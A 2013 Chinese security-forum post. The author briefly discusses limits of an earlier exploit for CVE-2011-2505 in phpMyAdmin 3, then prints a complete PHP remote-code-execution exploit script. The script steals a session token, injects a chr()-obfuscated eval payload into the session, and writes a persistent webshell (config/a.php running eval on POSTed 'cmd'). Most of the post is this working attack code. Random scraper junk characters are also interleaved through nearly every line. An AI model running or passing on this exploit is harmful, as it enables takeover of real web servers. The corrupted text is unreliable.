找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2720|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。8 H% a: S& p& u' ]! ?

- H7 T& F0 o7 r- F' ^昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
+ D/ ?% Q, Y1 U4 c! F/ Q2 R7 _$ P$ |+ L& }
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
2 k& T$ n6 r- J" a# B. [; l" Y一是session.auto_start = 1;1 i0 \, k' M/ Y7 F" ]+ O( e
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。- v3 Q+ k4 P- ?# A! O9 M" z
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。" i1 S) j- G, i6 G
# a9 ~. e) X2 h* b/ p% B  x7 W
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
/ R7 z! Q. W- F& X/ I5 |
) |  H- m$ r" j6 ^- [& _于是写了这个php版本的exp,代码如下:
5 J$ H$ G7 l8 b) Z5 E6 ?) K7 P: r2 J/ M3 {$ F
#!/usr/bin/php
$ l( v( P0 w, g7 v* R1 {* y<?php
6 C3 V" e; s5 |9 S: u, N  Z& dprint_r('
+ W" f( s- R& \* w% A+---------------------------------------------------------------------------++ c& S/ b1 }7 {  V
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]3 p$ q  F8 u! M5 k% o+ T
by oldjun(www.oldjun.com)+ z6 g6 }5 N2 W1 h& g+ {6 V
welcome to www.t00ls.net
" f4 I  {: J8 ]. J% ~7 Umail: oldjun@gmail.com0 E+ x4 p6 T# Y5 [3 r- ]' Y4 Y; a
Assigned CVE id: CVE-2011-2505' G$ a% f& H6 l- Q& u# c
+---------------------------------------------------------------------------+) a# B* d" z# W* }) I( t
');4 M( Z+ T: ^$ A+ A) j- j" Y, r( h
: a1 S* `' W9 O) I$ I$ f1 P0 O) J
/**
4 c$ @7 @' b# M7 J- E1 M" r * working when the directory:"config" exists and is writeable.+ t! b- W5 ~0 I3 |+ k) `, W! n  v
**/
% \) Y! N9 F- h9 J ' T) Y, ~; {* D  [6 B: P
if ($argc < 3) {
5 G' k) x0 ^) G) H4 I    print_r('
  E  c7 |/ C+ t- {+---------------------------------------------------------------------------+; W" X  _) j- o4 A7 A5 @' U
Usage: php '.$argv[0].' host path. t, T+ |) P' A& a# t
host:      target server (ip/hostname)
3 R) N/ i+ E, R3 l8 h( d2 V3 o$ mpath:      path to pma3- _: W3 N! z, L& I( D. [9 T+ t
Example:# d9 }3 X6 j, _4 P
php '.$argv[0].' localhost /pma/
1 @- M2 p1 G) i. I$ T' k& I+---------------------------------------------------------------------------++ V- V5 n. F. n( ~* u
');
/ N4 \9 T7 q' j' R& I3 H: M) x8 x    exit;7 J0 z( k/ p. Z8 C; b
}& Y* c2 |, P, G* ?8 n4 h

1 {% w8 W+ f2 Z$host = $argv[1];" x, E: |# F# j& T7 C2 `- r
$path = $argv[2];
/ r$ h& o. T1 r) m: T. C, W
8 A- `7 K1 K4 }& m/**
1 s! y% Y. x. z * Try to determine if the directory:"config" exists+ P6 M4 d  k% ~/ `. A
**/5 R% e/ T' w! O" d
echo "[+] Try to determine if the directory:config exists....\n";- P5 m5 D- Z! l/ z6 @- U8 g5 [
$returnstr=php_request('config/');
6 r- X9 V. O7 }) E9 y  ?+ qif(strpos($returnstr,'404')){
& N/ v3 t/ ?% A- G; q  q) f# \    exit("[-] Exploit Failed! The directory:config do not exists!\n");
+ X& i% ?/ R0 Q3 P}; L6 `6 |7 q2 m+ a4 K

4 K3 }9 m6 i( E7 F% }/**) c5 z0 r( ?  j4 H- m9 O2 u
* Try to get token and sessionid
6 c- m4 V( I1 _' P**/
. d0 U( m/ a$ U1 C; |7 w) uecho "[+] Try to get token and sessionid....\n";6 |4 ~" |3 f2 {
$result=php_request('index.php');
( `& W9 m0 |+ E: j0 K3 [' o9 kpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
  O; X# q1 _0 r5 ]2 G; y2 A; [# B$token=$resp[3];
1 l' j5 b1 B: x0 R4 p# ~$sessionid=$resp[1];
7 l, \/ _9 K. @+ q% G7 L4 l$ tif($token && $sessionid){, m+ ~7 m4 T! A4 K) i: b
    echo "[+] tokentoken\n";1 t$ g  p$ x9 g' }! f  @1 y6 E5 l
    echo "[+] Session IDsessionid\n";
& M) |' x  L# s}else{3 W1 G/ z" }! F, e, L' f1 d' d% N5 q
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");8 q. `8 }9 `; r0 F6 G7 p4 B
}
8 e6 r/ b2 N, f; {8 w: i% K2 ?. r' i5 ^+ R1 ?0 a! t6 E" n2 U6 z' V) E6 z
/**( r2 G( K& i* O0 n# D' a& n: F
* Try to insert shell into session
1 A6 d' {, v+ @**/) N% }1 S; z7 K# V
echo "[+] Try to insert shell into session....\n";
1 d/ _+ g4 {) T9 _9 Nphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
4 X* F0 F# `8 b0 H# _! H7 s& F
' o1 O/ H% D" |9 e: X5 j/**
- W. ^, x$ n( _- k4 a1 @0 } * Try to create webshell' l/ R' p# a  Q' \3 ~
**/! J6 W, x3 M  z0 l
echo "[+] Try to create webshell....\n";% s9 `7 h) B# G+ [# }+ D
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);( G$ V9 u  b9 u; ^# |4 x  O
/**% x) @' L. h- `) w0 y- d
* Try to check if the webshell was created successfully2 A( y& g8 w$ u: Y4 U
**/
+ B7 k! T; e% {- W2 Kecho "[+] Try to check if the webshell was created successfully....\n";
9 e6 X! ^) [$ k8 F* C$ L$ H0 P" j$content=php_request('config/config.inc.php');+ l8 g4 R0 s! G% i/ f) {# {
if(strpos($content,'t00ls')){
3 H, T5 k* M  ^$ N* l/ n    echo "[+] Congratulations! Expoilt successfully....\n";
. z7 V/ o% N- |, `1 H) N- u3 G    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";; R8 A+ S& i$ u' }; ], ~
}else{
3 W0 z8 V6 x' t3 g( z4 k. Z/ y+ f    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");" G. S% d7 W, Q9 [; w" w2 p7 W! \
}
2 ^: ~; U5 j* o$ `; }4 P
, k8 w1 ], W+ ^* t, jfunction php_request($url,$data='',$cookie=''){" u* r- ^1 P/ S+ s
    global  $host, $path;  ^" t; ?8 O1 g1 T2 C
   
, [5 B4 S) |- _0 e8 A0 O& Q0 ]    $method=$data?'POST':'GET';+ _, u. B  t0 T% f: P
   
2 j/ \' C+ F% Q4 O    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
& N' t2 W) @0 n. B    $packet .= "Accept: */*\r\n";+ x" I" }, ]; s5 Q
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";+ w' B5 p; Y: @7 W' `" i; Q
    $packet .= "Host: $host\r\n";; A: D# t7 y1 }( R( p
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";' b+ I% }, f  E  V* h
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
8 `& f$ F% _$ y1 w. [    $packet .= $cookie?"Cookie: $cookie\r\n":"";8 W8 z* s' f+ g, n
    $packet .= "Connection: Close\r\n\r\n";
2 i6 L6 T0 q4 ~) r  i2 i    $packet .= $data?$data:"";
2 h  j' ]" a7 m# g8 n3 f1 A
4 [" w( Q4 @/ _3 H$ h7 E* j0 V    $fp = fsockopen(gethostbyname($host), 80);( L- }& m1 v7 a* P- o
    if (!$fp) {
9 A' }5 U& O7 A) w- l    echo 'No response from '.$host; die;
% ?6 ^  ^+ I/ t: z% o, d# @/ @    }% _5 k7 u" ~1 j; f' h% t" V: m
    fputs($fp, $packet);
% @, V+ H( Y% z7 j8 ^$ O( k% U5 O0 _
    $resp = '';" o) h+ q1 v, I( a; y5 ?0 c8 k# m

& M5 f: }- m2 a6 A, k8 Q& J    while ($fp && !feof($fp))
+ z+ v$ ~& u1 K: {; s        $resp .= fread($fp, 1024);4 c/ X( w" {' T3 u) x4 _3 g6 V3 r  q
  m; \  l9 d8 P7 Z0 i( E
    return $resp;6 z5 y7 N$ |4 w& `
}
$ h3 X. {& i  H# `' B    % R( w! P5 \! Q) S& \/ |. V
?>
% j, q: L( N, r6 N5 x; e) _.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表